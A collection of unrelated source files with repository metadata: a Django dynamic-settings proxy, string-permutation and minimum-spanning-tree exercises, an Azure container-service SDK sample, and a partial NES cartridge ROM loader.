9f6949a6d26bc43199d728ce26d85eb5b016139f
refs/heads/master
2023-06-15T14:21:44.008780
2021-07-08T13:10:32
2021-07-08T13:10:32
286,098,067
3
0
MIT
2021-07-08T13:10:33
2020-08-08T18:27:42
Python
UTF-8
Python
false
false
7,523
py
VERSION = (0, 0, 3) __version__ = '%d.%d.%d' % VERSION import time try: from django.core.exceptions import ImproperlyConfigured, ValidationError import django if django.VERSION < (3, 2): default_app_config = 'dynamicsettings.apps.DynamicSettingsConfig' except ModuleNotFoundError: # allow import without having django, for setup.py and others pass class DynamicSetting(object): """ Proxy class to be used with the django settings module Intercepts setting resolution and checks if it is overriden with a value in database (dynamicsettings.Setting model) """ # in seconds, 0 means disabled, default of 1 (to allow initial settings to be loaded with a single query) CACHE_TTL = 1 __cache__ = {} __last__cache__ = 0 __registry__ = {} def __init__(self, setting_value, setting_name=None, setting_type=None): object.__setattr__(self, "_obj", setting_value) if setting_name is None: setting_name = _guess_variable_name_() if setting_name is None: raise ImproperlyConfigured('setting_name is required as it could not be inferred from its declaration') if setting_type is None: setting_type = type(setting_value) if setting_type not in (bool, str, int): raise ImproperlyConfigured( 'setting_type is required as a valid one (bool, str, int) ' 'could not be inferred from its declaration' ) object.__setattr__(self, "_obj_setting", setting_name) object.__setattr__(self, "_obj_type", setting_type) r = self.__class__.__registry__ if setting_name in r and r[setting_name] != setting_type: raise ImproperlyConfigured( 'already configured with conflicting setting_type', r[setting_name], setting_type, ) r[setting_name] = setting_type def __getattribute__(self, name): return object.__getattribute__(self, name) def __delattr__(self, name): raise ValidationError('attributes not supported with DynamicSetting') def __setattr__(self, name, value): raise ValidationError('attributes not supported with DynamicSetting') def __get_dyn_value__(self): self.__load_cache__() n = object.__getattribute__(self, "_obj_setting") if n not in self.__cache__: return object.__getattribute__(self, "_obj") return self.__cache__[n] @classmethod def __load_cache__(cls): if time.time() - cls.__last__cache__ < cls.CACHE_TTL: return # delay importing models in app __init__.py... from dynamicsettings.models import Setting # dilemma: casting here is beneficial for higher CACHE_TTLs (as less casts per access) but worse # for lower CACHE_TTLs (as casting values that will not be used...) # if cache is at "instance" level instead of class level, then it would be the same # but a DB query would be made for each setting... cls.__cache__ = {s.name: cls.cast_type(s.value, name=s.name) for s in Setting.objects.filter(active=True)} cls.__last__cache__ = time.time() @classmethod def get_registry(cls): return cls.__registry__ @classmethod def validate_name_value(cls, name, value): try: return cls.cast_type(value, name=name) except (ValueError, TypeError): raise ValidationError( '%(value)s is not valid for %(name)s', params={'value': value, 'name': name}, ) @classmethod def cast_type(cls, value, name=None, _type=None): if _type is None: if name is None or name not in cls.__registry__: raise ValidationError('%(name)s is not a valid setting', params={'name': name}) _type = cls.__registry__.get(name) if _type is bool and isinstance(value, str): if value.lower() in ('true', 'yes', '1'): return True return False return _type(value) @classmethod def _reset(cls): # utility method to reset class-level variables (useful for unit-testing - or stuff even hackier than this) cls.__cache__ = {} cls.__last__cache__ = 0 # dull/proxy implementation of all operators... maybe there is an easier way...? def __nonzero__(self): return bool(self.__get_dyn_value__()) def __bool__(self): return bool(self.__get_dyn_value__()) def __str__(self): return str(self.__get_dyn_value__()) def __int__(self): return int(self.__get_dyn_value__()) def __repr__(self): return repr(self.__get_dyn_value__()) def __hash__(self): return hash(self.__get_dyn_value__()) def __add__(self, other): return self.__get_dyn_value__() + other def __sub__(self, other): return self.__get_dyn_value__() - other def __mul__(self, other): return self.__get_dyn_value__() * other def __pow__(self, other): return self.__get_dyn_value__() ** other def __truediv__(self, other): return self.__get_dyn_value__() / other def __floordiv__(self, other): return self.__get_dyn_value__() // other def __mod__(self, other): return self.__get_dyn_value__() % other def __lshift__(self, other): return self.__get_dyn_value__() << other def __rshift__(self, other): return self.__get_dyn_value__() >> other def __and__(self, other): return self.__get_dyn_value__() & other def __or__(self, other): return self.__get_dyn_value__() | other def __xor__(self, other): return self.__get_dyn_value__() ^ other def __invert__(self): return ~self.__get_dyn_value__() def __lt__(self, other): return self.__get_dyn_value__() < other def __le__(self, other): return self.__get_dyn_value__() <= other def __eq__(self, other): return self.__get_dyn_value__() == other def __ne__(self, other): return self.__get_dyn_value__() != other def __gt__(self, other): return self.__get_dyn_value__() > other def __ge__(self, other): return self.__get_dyn_value__() >= other def _guess_variable_name_(): # delayed import just because "import inspect" always looks bad!!! # full disclosure: this is prone to many errors unless used exactly as the usual # settings.py definition: `VAR=...` # no kinky stuff allowed import inspect import re if not hasattr(_guess_variable_name_, '_re'): setattr(_guess_variable_name_, '_re', re.compile(r'[A-Za-z][A-Za-z0-9_]+')) frame = inspect.currentframe() # `frame - 2` must be the setting declaration # otherwise this weird code is being used in some weird way (can't complain!) frame = inspect.getouterframes(frame)[2] string = inspect.getframeinfo(frame[0]).code_context[0].strip() # TODO: improvement # check frame.__internals__.f_globals and extract DynamicSettings name # then use regexp to extract variable name, so it can be extracted with certainty # yup `a = b = c = 1` will result in only using `a` if '=' in string: v = string.split('=')[0].strip() # validate variable name if getattr(_guess_variable_name_, '_re').match(v): return v return None
[ "fopina@gmail.com" ]
fopina@gmail.com
f1911672eeb5c5e79206ad117f84c748083bf7dc
e91e19c13377bd7fec291ae070a732a01455ad29
/kAndr/ch_3/permutation_in_string.py
4c3b385bc5ba0485fcd7eed6ef27e408dfa569d3
[]
no_license
lkrych/cprogramming
a51527154a196973d2a367f03f4b7b7d29317b4e
eb85937cf3b62a65b7eb312627feb02284a1ee66
refs/heads/master
2021-07-09T10:38:04.136854
2020-09-05T19:05:52
2020-09-05T19:05:52
191,394,417
0
0
null
null
null
null
UTF-8
Python
false
false
10,251
py
from typing import List def permutation(d: List, i: int, l: int, results: List) -> List[str]: if i == l: results.append(''.join(d)) else: for j in range(i, l): d[i], d[j] = d[j], d[i] permutation(d, i+1, l, results) d[i], d[j] = d[j], d[i] #r = [] #test = permutation(list('abcd'), 0, len('abcd'), r) #print(r) # Given two strings s1 and s2, write a function to return true # if s2 contains the permutation of s1. # In other words, one of the first string's permutations is the substring of the second string. def check_permutation_naive(s1: str, s2: str) -> bool: #find perms in s1 perms = [] permutation(list(s1), 0, len(s1), perms) #check if each perm exists in s2 for perm in perms: if perm in s2: return True return False assert check_permutation_naive('ab', 'eidbaooo') == True assert check_permutation_naive('ab', 'eidboaoo') == False # a permutation of a word is going to have the same number of characters # use an array to store these chars and compare each window in the array def check_permutation_optimized(s1: str, s2: str) -> bool: s1_window = create_window(s1) for i in range(len(s2) - len(s1) + 1): check_window = create_window(s2[i:i+len(s1)]) if check_window_equality(s1_window, check_window): return True return False def create_window(s: str) -> List[int]: ALPHA = { 'a': 0, 'b': 1, 'c': 2, 'd': 3, 'e': 4, 'f': 5, 'g': 6, 'h': 7, 'i': 8, 'j': 9, 'k': 10, 'l': 11, 'm': 12, 'n': 13, 'o': 14, 'p': 15, 'q': 16, 'r': 17, 's': 18, 't': 19, 'u': 20, 'v': 21, 'w': 22, 'x': 23, 'y': 24, 'z': 25 } alpha_arr = [0] * 26 for char in s: i = ALPHA[char] alpha_arr[i] += 1 return alpha_arr def check_window_equality(arr1: List[int], arr2: List[int]) -> bool: for i in range(len(arr1)): if arr1[i] != arr2[i]: return False return True assert check_permutation_optimized('ab', 'eidbaooo') == True assert check_permutation_optimized('ab', 'eidboaoo') == False assert check_permutation_optimized('adc', 'dcda') == True assert check_permutation_optimized('ajsbmzgzwrjwvzfxjqasaoreuulzmypibgubyxdbbinkdmmibetcnsekvprichjgjviodllxyqcrbzgwrkmrrtnmfljjtzajghpoyxcqvhouufwfjtclfrrecqqydzuyoawvnwcvpquebdqzssctviwyszhjpzyrhjhczhvfwvvmqffsmdxljkuzxgumsgeaxpogcgstgmqgmaxvtvtpvkipavimzthncsmdhzbylrgzkluhncojblhrdgjwynclbzbloqtupkltrokhhfdbxdncfmaeujfvtwcnqnrfrxukjeprefjttcptdpgjjanipbqtqorfwugztbjszzwekqmllmnupsanxqgrbzdelmqxjwmdlkbvcpxjyasvldwjftetktovoxkbksrjakrsvggwdrgtvpqfgeibybhkdkeckuokduykynvmreyirowvkxxnxjzwtxtasgaaaheefskmyuzyarfyycgiznvlowlaonpacjkwlhnwekhbziitcidcslknvpzplzcajixdhuzrdvhprjyfknepwjbxtgfhduurvixibfswzousjjnydblheoysyxptcpsxgiojcvpegnhbdbnyudslytzsytukrhcghwbpshmqmftpnqwitumzovcnutbcvghvvgasfoerywwejpndtkevysmygwcmlhamglmxiwvysseyphozwnytjecunsbesywipayxxvtypvdevlimywvpdvekzkqigkpgjychxemqlwocnivcyysmvwnqxblubdwynkegwmjzsdclwxyvlpjcoqqkbgtejezffucifrxaehmfcoieyscgiotjzwxpdtnjpinzlrybmdvlndppbxxnlnsdblujiuutzsgcqolbofvntqygsqozwjvnlgvsqphtsujcqsiqwlkdazdypivuriagqedzvxexkvkzlnnyydoavijoubqkpqpwcahtxfuvnkvltbdhtoehxzhwpxswmulwmjtucwlgwlrwpaoedjgraryzcvblaieqfinacqlpxsnezmofdjhvhmimysatnmnmzdravskbkswqobfxclzikeluahnulrsouiltqguoyjcpeioyrtnhcbyncwiyonzhsjwcnevmizkhcrhzgcbsukjsllnvlnqesqnifvkxyfxxanysjoujdsrhgwfarcbvqacedqdabqgguqtjtxztasvlyxjqajfsevrqyaxmezbqtxlfgrdltlskzszgcskhxndnvbrmrtclurrogsvfmeyavffpdmyquyhmyrgoprqtthqmutbomdwqmclpuuybyytizgobsqgplulesxrwokzcgojcskbtlbljtaqkmjkilvhpsyvlioirhcdsqtsvsddhqpgbpziemtvtafdcshoxqagrimqfehnjgnemgglugsixdfebvkekcvsmiwcwuysohwhwisvpkkrbwaqucmlbbulvvqwvpsurexghsnkxoxybhrrulvoenddlobqojsvdthcsrolgfqfamofeezmcqhgrlrwkobpqzvhkyypsaoyvaukxlmatnsygzbdnrvjhchrqaptanlqrunrnywxccdslymkstxpesrioqnuiamboiptmsqjgizkhdalkkcllfqxqsmvwuchrfmqynraxspqsvofqwfedfbxupyuostevhcrjypyffvbmjbfhrtzwwmqffiigwelokmgleogyxjrgbfrutaabvmevlsumwyeqffajfdvewwslehtdypputixbltwokylcsdtznvvhadzztkidhlufkizwkfaywybckwauovumplymvrsytbwnmjcvaheoowyhitihzddkzxqjiyvhhqqtxykvgztgcagcitgunlnefwgycojtijuuhygjfgxvyr', 'prtwaywvvyqetvwyakpvekjhirlrtxxzyaodvwigtrdaeiizykaebcjuoenyhaoadnvxaasbecfpovauvvffvcnchdgffbbdhsrxigmtljvoqdiwjvsbpbkppvbxkxphzdkqumpuoacghmmicfjmondzxppomayqnvkclqzbuptslgzjnhjqggwedeuxormigkwjkqsgebufhhfdhqfuifnyboecqvnjhcgztlwoahcqwrksdcedhmqiqxjbqhaacrosnupiesatqfeglxfqgpsfiotytnrvgcvntmxblkkdblatbesaransxcvzeconimbuweevufhduxzcvozgrmkvxdwsiuheqqjjxjimliwehsaxmwjrncapcadzswwglxfnxsnpdbbyvxdwrrflwpjduxnwrjdogyrejrkmjpdncvxwqfcfpfcszzkislhxergkssurbjnuxzpzgkbegtkzbpdutwipdygmhbvspuwxxsapddzhppkkfxbrylvipexzubrzfbmhcqutjnqjbenmqfnowvujicgawxxynnzfubskzyihuohhahflqkrfkvvaimaptzqybjgpeomviozqnbmlgwftgeoztgzacujrolhlwkhjnmklhfyclxzmhfanwgvfhlexuxlpusgbgfdvtlccykeflwinskcahspqlesxrybqegqjmpzeiyhgvombebfsuqvnwqcifznxauupzqxmtejumabbwpjjnqvqrekwaackfvvcvbdcfidqytjhmswyovravwdaahiftspjdxwhbmiabtehdkzagabqiokpnmtpkhqfwacexshckfplcruinijigqdbsjqnskocnhchfsjytqkpbrodtffbsuislmyqpuvxruetrcobbibvipsnkrkrbvhguglpjbbotyrpletcpvfsptvlcdklkfrzjmyzzszzevgkezwltnykylohxoivhmfcmmzcxtmnjcbkrvxndxoisymvfengtcezyxozcyfoyvhqdnrxtfubmvvjxkzatdwcgkyplnzduxbvksxdlnstspxummjqukbcswezkkuwvepbjqoyewnbhiwmtxriunlkwdtgwgmgoqckfjcyxkoefbaizjkavybjlhqgfubhkeberznmokjwwbpkndbirtuvyuqqvfevpxedctnkgryructmtzntfkvpxdqznhtnipfeajehxsyraosvvlaivlehljrynbeczxcigrklnbfnlnqulpwoyvpokmwfjzdwwzpwmgiygxtnelwisdcvoflanozvlsadxngdjjbhyniprfwidzhsbtozgolyjerfzmsyeimyjdvzwcauenjnbymdvfoqepgcpcybqxvumijejcfettsdfsvdcgbylwsuaaemkxrvtilmrkscphywzlyrwahhmomqjhelgdgthiaekrbvmsarndqgodtrnowdjnspjjphomabvdbujimrezxfkhzxlkgagibgcavxemdkwtjltnufdfnkvtnhfsoqpntiwtnghlfhpupwhrdcbgjogbedsdyrtzlfcupbkubgzibcgoeuqehnhcfsztbfprrgmfphchqcgjjfxxggrvbpqawjwumuxkbiuujrzpgvwndckqhuhwpwljdntaqyrtwwkydbbduuqznqmbvssqrzixdgqswurstvpvboxykpndvmcrhccfduhjwbczqchwosugacufnoiramiygadmnbkyhtdcmlrliortwobmsirnbmqjchjrfesuodvaxagwfuhqqebjxqalnxaseyrbkmrgajtjmqeimyhrhrrrwvzwhhlddwdgqjvhtxrgntnyxvhjngksndttfqprcwjkoiztsuysbjvjpralkkgmdfzlfiayrbjezoyphgkictjpiqfrmdizcwcjcpyhrhmovytnuawtzdlclnvfkcoksvigpmvnptnqausmbvquhuhthkstmtmugjpjxgslluuxxfhyqtmedsmwglxuuzurkgmqdytrcvnvxrlqssjwoqlvmkmyeftktkmfulcutalzudpsmqvgjtfaegcszttcgxoosgqjhiutpnfmfikekfvokvjzxgjfbefrptsjmqijudwkajsdmztzwrjwvzfxjqasaoreuulzmypibgubyvdbbinkvmmibetcnsekvprichjgjviodllxyqcrbzgwrkmrrtnmfljjtzajghpoyxcqvhouufwfjtclfrrecqqydzuyoawvnwcvpquebdqzssctviwyszhjpzyrhjhczhvfwvvmqffsmwxljkukxgumsgeaxpogcgskgmqgmaxvtvtpvkipavimzthncsmdhzbylrrzkluhncojblhrogjwynclbzbloqtupkltrokhhfdbxdncfmaeujfvtwcnqnrfrxukpeprkfjttcptdpgjjaniybqtqorfwugztbjszzwekqmllmnupsanxqgrbzdelmqxewmdlkbvcpxjeasvldwsftetktovoxkbksrjaersvggwdrgtvpqfueibybhkdzeckuokduykynvmreyirowvklxnxjzwtxthsgaaaheefskhyuzyarfyycgiznvlowlaonpacjtwlhnwekhbziitcidcslknvpzplzcajixdhuzrdvhprjyfknepwjbxtgfhduurvixibfswzousjjnydblheoysyxptcpsxgiojcvpegembdbnyudrlytzsytukrhcghwbpshmqmftpnqwirukzovcnutbcvgvvvgasfoerywwejpndtkovysmygwcmfhamglmxiwvysseyqhozwnytjecunsbesywipayxxvtypvdevlimywvpddjkzkqigkpgjychxemplwocnivcyysmvwnqxblubdwynkegwmjzsdclwxyvlpjcoqqkbgtejezffucifrxaehmfcoieyscgiotjzwxpdtnjpinzlryjmdvlndppbxxnlnsdblujiugtzsgcqolbofvntqygsqozwjvnlgvsqphtsujcqsiqwxkdazdypivuriagqedzvxexkvkzlnnyydoaxijoubqkpqpwcahtxfuvnkvltbdhtoehxzhwpxswmulwmjoucwlgwlrwpaoedjgrarypcvblaiyqfinacqlpxsnezmofdjhvhmimysatnmnmzdravskbkswqobfxclzikeluahnulrsouiltqguoyjcpeioprtnhcbyncwiyonzhsjwcnevmizkhcrhzgcbsukjsllnvlnqesqnifvkxyfxxanysboujdsrhgwfarcbvqacesqdabqgguqtjwxztasvlyxjqajfsevrqyaxmezbqtxlfgrdltlskzszgcskhxndnvbrmrtclutrogsvfmeyavffjdmyquyhmyrgdprqtthqmutbomdwqmclxuuybgytizgobsqgplulesxrwokzcyojcsmbtlbljvaqkmjkilvhpsyvlioirhcdsqtsvdddhqpgbpziemtvtafdcshoxqagrimqfehnjgnemggljgjixdfnbhkekcvsmiwcwuysohwhwisvzkkrbwaqucmlbbulvvqwvpsurexghsnkxoxyhhrrulvoenddlobqojsvdthcsgolgfqfamofeezmcqhgrlrtkobpqzvhkyypsaoyvaukxlmatnsygzbdnrvjhcbrqaptanlqrunrnywxccdslymkstppesrioqnuiamboiptmsqjgizkhdalkkclllqxqsmvwuchrfmqynraxspqsvtfqwfedfbxupyuostevhcrjypyffvbmubfastzwwmqffiigwelowmglgogyxjrgbfrutaabvmevlsumwyeqffajfdvewwslehtbypputixbltdokylcsdgznvvhadzztkidhlufkizwkfaywybckkauovumplymvrsytbwnmjcvaheoewyhitihzddkzxqjiythhqqtxykvgztecagcitgunlnefwgycojtijuuhygjfgxvyrkukwwldvsbhvehtobdgmodtbmaiuccendlwyzcbojtnbzchlkubdvvoyjijzkgyscuelctrpitpfaftxufwxikoqcrsxlzoskvxncumcbhigxobqgpwhbdqxtjamzxuelrvlnijthgoljmrarcgosqlqzcxtukxjuxynnqkywiptwwtchkwndqfhhzsxeavryaybjcuidjbukzmcrwgahpqrmsgztknkfoaeypaemyorbqejfgifraujzjdzkhtdzhadhslqhwgsmuzmmqshsqjwdzssswribmeknttxvodehjosybfleqrgofwdieirdgtftipnqqmdfrgjttkhicdugvtaqxtibveuszsicjpglmdqxkieznybwkymliycilxssaoaffjahuidldmuvqvbftgqxkfwzvkuatgqbjezgfviubuubrukccymrwjgzfftytktbihgqdbgawdsqufxwvbcgssihzqkmrgyrbtdykrihhxtsbsygjyzmyjyycgvtpndoonqdhgrhdnjerjhmbiwhzrzwkduscdtjcxndjpvldzptewgwvkkqakknraduuzvssgxmpvcrhnplwsubqplminqelizpenrcnopyoogdhgmcztulqcmcrglhxsyavtfwavhauscsrtuvyzibpthznsqngwpxjdcgdrisynpjfxliirwyskfjyicfufxjlqrawktujyfttjzlkgytmmkurrwsuvizisewsgaqptntofjqodiliduitavocubvnskliuffpsvftknzlapmgjqffmbsrvduhhigjnskkhbcqequerdzqgcyjlqoxscbxgjixkogjzpvzrduniovkkvatvdgzpupkyjavxmhokgouuitoftdhhrzrkmxtbogxileadtrvbndmxggxegqfacruvqqlhxjmgurwbggqfbkccyqsnkpvhfsgjnicifphizihllesdrqkasdhdkwjzsvsvmwozxoyelirilnqywggxfrwcufbwasgsooofkjwcqgigobkojrarkdqdjclllceosjwuyrwvchusbuyablmjjwmgxpatxkgvmpjhzuyswcfkmgnzforanvkhklhwrlfnpgxsnanskwtptcdcqkiprmzortjrulgzmkyetpufnbpprkjerorforfnbrhlwsinqxehufgjvlglmeqkkfrnxppofdjpvgxxgwjdsxhdfbwscfkgtxxdxnsjsrtiyylmatqvglcidbofstcilzpgodcephqudwqkjyqjfouvdrslrwahbamkavzokwovemypzsqzksusrgvdnezghbyavxbrfqmbrabzcfurnnkvhljdufwbtjbkurgnhikketdzqbeoiulavhymvnfqybocoxwfkoxijouqlkiriozrmoipoxfkirgtscjyqeuubzbdaequjchbrthgkwpwexlzritpbghwbtkdagvummxtctmhbxxfibovfytrcgqggsfthyrhzejyukhyycekgdcytnhloyzmxneqnywmgfdntojwkzdmdlxnkkftafpbqveskwxdixeegukgzrjsxwbneoimkrngxigycjwzghrigfapoklmbmttgqjvyffkyxscjelcjvofforoqqsqvrumntgxwgwytlfleamuatuyxitrhvjjiacaoezmorhvlxmrebfxhcfopjrkreiyxzixzwutarxrqyhtnvuiaczscaguldraqslvvqutzugthofxfadbiygmjszftwywdgwrdalmhneserexzshikthojoqgjkwobgyfrumaxoxaqobzlvdzsoxzucvduimqxbyqmvxvtbwgalhxndrhstprjyywnogtoawcroiztdkpndwvkztxbrzfriandnaaqiqoopfzdsretxbvjqboppxkbgwmahyicwpwllvrlyymezomwkwtogqgbqcvexkleumfgfnhikojuhfszvvnswcegpshnpfnvfvpjcxsjtaitkylsoijdzadzrrevkrtevdzcybvjdqpkeeobbnrzbjlyrhaxzgtmbjzbjpsplghdlbwbyqefbyzindtzgsksufnipj') == True
[ "leland.krych@gmail.com" ]
leland.krych@gmail.com
8c94be0cfe69c5251592fc5018f9ba2b28c5d1e7
89abe6a8a502bf1cb3b9169b389a4e37f7ad70f9
/graphs_w5/connecting_points/connecting_points.py
5b4d19f92d5826a5f486ae46c0c00383a6f21d65
[]
no_license
anvad/courses_algorithms
41859e34b882538e78a35a0c10a9b77d692b7664
218c40b3020270cda3399b5baa0405a93d8fddaa
refs/heads/master
2020-07-10T20:02:37.316572
2016-10-03T18:32:05
2016-10-03T18:32:05
204,357,303
0
0
null
null
null
null
UTF-8
Python
false
false
4,496
py
#Uses python3 #using Kruskal Good job! (Max time used: 0.17/10.00, max memory used: 10133504/536870912.) #using prim with array based priority queue Good job! (Max time used: 0.07/10.00, max memory used: 10129408/536870912.) #prim slightly optimized to avoid find dij in some cases Good job! (Max time used: 0.06/10.00, max memory used: 10133504/536870912.) import sys import math from functools import reduce def minimum_distance(x, y): result = 0. #write your code here """ here, we have to consider all possible edges, so E is proportional to V^2 so, we can use Kruskal or Prim with array based implementation """ result = min_dist_pa(x, y) return result """ Prim implementation with array """ def min_dist_pa(x, y): result = 0 max_dist = 10**4 # given that x or y will be between -10^3 and +10^3, the max dist between any two points will be less than 10^4 num_vertices = len(x) cost = [max_dist for i in range(num_vertices)] parent = [None for i in range(num_vertices)] # hacky priority queue implementation using array. Here i've initialied a queue with num_vertices elements pqa = [(max_dist, i) for i in range(num_vertices)] pqa_size = len(pqa) s = 0 # i.e. starting with 0th vertex as root cost[s] = 0 pqa[0] = (0, 0) #print(pqa) while pqa_size > 0: (d_min, i) = min(pqa) pqa_size = pqa_size - 1 # reducing pqa size by one since we are "extracting a node" pqa[i] = (max_dist + 1, i) # setting this element to a value higher than max_dist, as a way to mark this vertex as extracted result = result + d_min for j in range(num_vertices): # making sure we calc edge weights (i.e. dij) with neighbors only, rather than with itself! # also making sure to both calculating dij only if j is currently in priority queue if (j != i) and (pqa[j][0] <= max_dist): # implies vertex j is in priQ dij = math.sqrt((x[i] - x[j])**2 + (y[i] - y[j])**2) if (cost[j] > dij): cost[j] = dij parent[j] = i pqa[j] = (dij, j) #return reduce(lambda x,y: x+y, cost) return result """ Kruskal implementation """ def min_dist_k(x, y): result = 0 num_vertices = len(x) dj = disjoint_set(num_vertices) # created disjoint set of all vertices # now creating ordered list of all edges dist = [] for i in range(num_vertices): for j in range(num_vertices): dij = math.sqrt((x[i] - x[j])**2 + (y[i] - y[j])**2) dist.append((dij, i, j)) dist.sort() for (dij, i, j) in dist: if dj.find(i) != dj.find(j): # it means this edje i, j with dist dij is part of MST, so add dij to MST resultant distance dj.union(i, j) result = result + dij return result """ disjoint set implementation make_set, find, union """ class disjoint_set: def __init__(self, size): self.size = size self.parent = [i for i in range(self.size)] self.rank = [0 for i in range(self.size)] self.num_sets = size # initially, number of disjoint sets will be equal to size, since each element is in its own set def make_set(self, i): # don't use this, since i am making set during init phase self.parent[i] = i self.rank[i] = 0 self.num_sets = self.num_sets + 1 def find(self, i): intermediate_nodes = [] while(i != self.parent[i]): i = self.parent[i] intermediate_nodes.append(i) # now compress the tree for j in intermediate_nodes: self.parent[j] = i return i def union(self, i, j): i_id = self.find(i) j_id = self.find(j) if i_id == j_id: # i and j are already in same set, so do nothing return self.num_sets = self.num_sets - 1 # i and j are in different sets, so merge them and reduce count of disjoint_sets by 1 if self.rank[i_id] > self.rank[j_id]: self.parent[j_id] = i_id else: self.parent[i_id] = j_id if self.rank[i_id] == self.rank[j_id]: self.rank[j_id] = self.rank[j_id] + 1 return if __name__ == '__main__': input = sys.stdin.read() data = list(map(int, input.split())) n = data[0] x = data[1::2] y = data[2::2] print("{0:.9f}".format(minimum_distance(x, y)))
[ "anil.vadlapatla@gmail.com" ]
anil.vadlapatla@gmail.com
d993401850d52d98db8b268955eeb445554951db
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_371/ch47_2020_10_04_13_40_50_371443.py
3cc3cadd86d947006768c00c032c11e851f56842
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
354
py
def estritamente_crescente(lista): numero_atual = 0 numero_anterior =0 i=0 nova_lista=[] while len(lista)>i: numero_atual=lista[i] if numero_atual>numero_anterior: numero_anterior=numero_atual nova_lista.append(numero_atual) i+=1 else: i+=1 return nova_lista
[ "you@example.com" ]
you@example.com
f6d7fbdef5cdaedb0fe2f8536b75a1173aca58fe
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/containerservice/azure-mgmt-containerservice/generated_samples/maintenance_configurations_create_update.py
c0abfbc1bab5cf537fc774e2f3b60eed6869983b
[ "MIT", "LicenseRef-scancode-generic-cla", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
1,900
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from azure.identity import DefaultAzureCredential from azure.mgmt.containerservice import ContainerServiceClient """ # PREREQUISITES pip install azure-identity pip install azure-mgmt-containerservice # USAGE python maintenance_configurations_create_update.py Before run the sample, please set the values of the client ID, tenant ID and client secret of the AAD application as environment variables: AZURE_CLIENT_ID, AZURE_TENANT_ID, AZURE_CLIENT_SECRET. For more info about how to get the value, please see: https://docs.microsoft.com/azure/active-directory/develop/howto-create-service-principal-portal """ def main(): client = ContainerServiceClient( credential=DefaultAzureCredential(), subscription_id="subid1", ) response = client.maintenance_configurations.create_or_update( resource_group_name="rg1", resource_name="clustername1", config_name="default", parameters={ "properties": { "notAllowedTime": [{"end": "2020-11-30T12:00:00Z", "start": "2020-11-26T03:00:00Z"}], "timeInWeek": [{"day": "Monday", "hourSlots": [1, 2]}], } }, ) print(response) # x-ms-original-file: specification/containerservice/resource-manager/Microsoft.ContainerService/aks/stable/2023-07-01/examples/MaintenanceConfigurationsCreate_Update.json if __name__ == "__main__": main()
[ "noreply@github.com" ]
noreply@github.com
639d044c4239a0c793308a1e4284dddd61753182
5260c25c48ad33b5ef6fde53ac2b621a9fdc97e9
/src/cartridge.py
6de3d6224e8442980171d9d9d522a5686cf33497
[ "MIT" ]
permissive
ryanskeldon/pytendo
2919e5b2e614a14a01555d5e20893009f868e803
f8e1eb66b2fcae3dfb69229650eafefd7b5d63d3
refs/heads/master
2023-01-28T08:39:05.420089
2019-01-06T19:07:49
2019-01-06T19:07:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,655
py
class Cartridge: def __init__(self, filename): self._filename = filename # Load ROM data from file. self._rom = open(filename, "rb").read() # Check first 3 bytes for the letters 'NES' if (self._rom[0:3].decode('utf-8') != "NES"): raise RuntimeError("Not a valid NES ROM!") # Number of 16k program ROM pages. self._total_program_rom_pages = self._rom[4] # Number of 8k character ROM pages. self._total_character_rom_pages = self._rom[5] # Byte 6 self._mapper_number = (self._rom[6]>>4)&0x0F # Bits 4-7 are lower nybble of mapper number. self._four_screen_mode = True if self._rom[6]&0x08 == 0x08 else False self._trainer = True if self._rom[6]&0x04 == 0x04 else False self._has_battery = True if self._rom[6]&0x02 == 0x02 else False self._mirroring = True if self._rom[6]&0x01 == 0x01 else False # Byte 7 self._mapper_number |= (self._rom[7]&0xF0) # Bits 4-7 are upper nyblle of mapper number. self._nes_2_Format = True if (self._rom[7]&0x0C)>>2 == 0b10 else False # If the two bits equal binary 10, use NES 2.0 rules. self._program_rom_size = (self._rom[9]&0x0F)<<4 # PRG ROM size self._character_rom_size = self._rom[9]&0xF0 # CHR ROM size # TODO: Byte 8 # TODO: Byte 9 # TODO: Byte 10 # TODO: Byte 11 # TODO: Byte 12 # TODO: Byte 13 # TODO: Byte 14 # TODO: Byte 15, not needed? Reserved. Byte should be zero. # TODO: Verify file size with specified memory characteristics. # Initialize mapper if (self._mapper_number == 0): self._mapper = NROM(self, self._rom) else: raise RuntimeError(f"No mapper found for ID {self._mapper_number}") print(f"File loaded {filename}") print(f"Program ROM pages: {self._total_program_rom_pages}") print(f"Character ROM pages: {self._total_character_rom_pages}") print(f"Mapper #: {self._mapper_number}") print(f"Four screen mode: {self._four_screen_mode}") print(f"Trainer: {self._trainer}") print(f"Has battery: {self._has_battery}") print(f"Mirroring: {self._mirroring}") def read_byte(self, address): return self._mapper.read_byte(address) def write_byte(self, address, byte): raise NotImplementedError() ############################################################################### # Mapper base ############################################################################### class Mapper: def __init__(self): pass def read_byte(self, address): raise NotImplementedError() def write_byte(self, address, byte): raise NotImplementedError() ############################################################################### # iNES Mapper ID: 0 # Name: NROM # PRG ROM capacity: 16K or 32K # PRG ROM window: n/a # PRG RAM capacity: 2K or 4K in Family Basic only # PRG RAM window: n/a # CHR capacity: 8K # CHR window: n/a # Nametable mirroring: Fixed H or V, controlled by solder pads (*V only) # Bus conflicts: Yes # IRQ: No # Audio: No ############################################################################### class NROM(Mapper): def __init__(self, cartridge, rom): self._rom = rom self._cartridge = cartridge # Slice ROM into banks. rom_offset = 528 if self._cartridge._trainer else 16 self._prog_rom_banks = [0xFF] * self._cartridge._total_program_rom_pages for bank in (0, self._cartridge._total_program_rom_pages-1): self._prog_rom_banks[bank] = self._rom[rom_offset + (16384 * bank):] 